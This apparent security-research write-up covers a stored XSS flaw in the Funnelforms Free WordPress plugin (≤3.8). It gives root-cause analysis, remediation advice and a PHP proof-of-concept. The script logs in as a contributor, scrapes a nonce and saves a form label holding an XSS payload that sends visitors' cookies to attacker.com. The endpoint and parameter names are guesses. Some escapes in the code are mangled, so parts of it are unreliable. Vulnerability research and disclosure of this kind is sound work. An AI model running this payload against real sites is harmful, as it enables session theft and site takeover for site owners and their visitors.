Atomic Edge analysis of CVE-2025-62758 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Funnelforms Free WordPress plugin versions up to and including 3.8. The vulnerability allows attackers with contributor-level or higher WordPress privileges to inject malicious JavaScript payloads into plugin-controlled content. These payloads execute in the browser of any user viewing the compromised content, leading to client-side attacks.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping, consistent with CWE-79. The vulnerability description confirms inadequate neutralization of user-supplied input before web page generation. Without access to source code, this conclusion is inferred from the CWE classification and the vendor’s description. The plugin likely fails to apply proper WordPress sanitization functions (like `sanitize_text_field` or `wp_kses`) to user input before storage, and correspondingly fails to use escaping functions (like `esc_html` or `esc_js`) when outputting that data.
Exploitation requires an authenticated attacker with at least contributor-level access. The attacker would submit a crafted form or request containing a JavaScript payload to a vulnerable plugin endpoint. Based on WordPress plugin patterns, the attack vector is likely an AJAX handler (`admin-ajax.php` or `admin-post.php`) or a REST API endpoint that processes form submissions. A typical payload might be `
` or a similar script tag injection. The payload would target parameters that accept user input for form field labels, form descriptions, or other stored content elements.
Remediation requires implementing proper input validation and output escaping. The plugin developers should apply WordPress core sanitization functions to all user-supplied data before storing it in the database. They must also escape all dynamic content when rendering it in HTML contexts. WordPress provides functions like `sanitize_text_field`, `wp_kses`, and `esc_html` for this purpose. A comprehensive fix would involve auditing all user input points and output locations within the plugin’s codebase.
Successful exploitation enables attackers to steal session cookies, perform actions as the victim user, deface websites, or redirect users to malicious sites. Since the vulnerability is stored XSS, a single injection affects all users who view the compromised page. Attackers with contributor access can target administrators, potentially leading to full site compromise if administrative sessions are hijacked. The CVSS score of 6.4 reflects medium severity due to the authenticated requirement and limited impact scope.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62758 - Funnelforms Free <= 3.8 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-62758
* Assumptions based on WordPress plugin patterns:
* 1. Plugin uses AJAX handlers for form operations
* 2. Endpoint accepts form field data via POST
* 3. Insufficient sanitization on field content parameters
* 4. Contributor-level users can access the endpoint
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Payload to inject - basic cookie theft demonstration
$payload = '<img src=x onerror="fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie))" />';
// Login to WordPress and get session cookies
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
// Extract nonce from admin page (required for AJAX requests)
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin.php?page=funnelforms-free',
CURLOPT_POST => false,
CURLOPT_HTTPGET => true
]);
$admin_page = curl_exec($ch);
// Attempt to find a nonce - pattern varies by plugin
preg_match('/"nonce"s*:s*"([a-f0-9]+)"/', $admin_page, $matches);
$nonce = $matches[1] ?? 'insecure_without_nonce';
// Construct exploit request
// Assuming AJAX endpoint with action parameter 'funnelforms_free_save_form'
// and vulnerable parameter 'form_data' containing unserialized field content
$exploit_data = [
'action' => 'funnelforms_free_save_form',
'nonce' => $nonce,
'form_id' => '1',
'form_data' => json_encode([
'fields' => [
['type' => 'text', 'label' => $payload, 'name' => 'malicious_field']
]
])
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $exploit_data,
CURLOPT_REFERER => $target_url . '/wp-admin/'
]);
$result = curl_exec($ch);
curl_close($ch);
echo "Exploit attempt completed. Check if payload was stored.n";
echo "Response: " . substr($result, 0, 200) . "...n";
?>
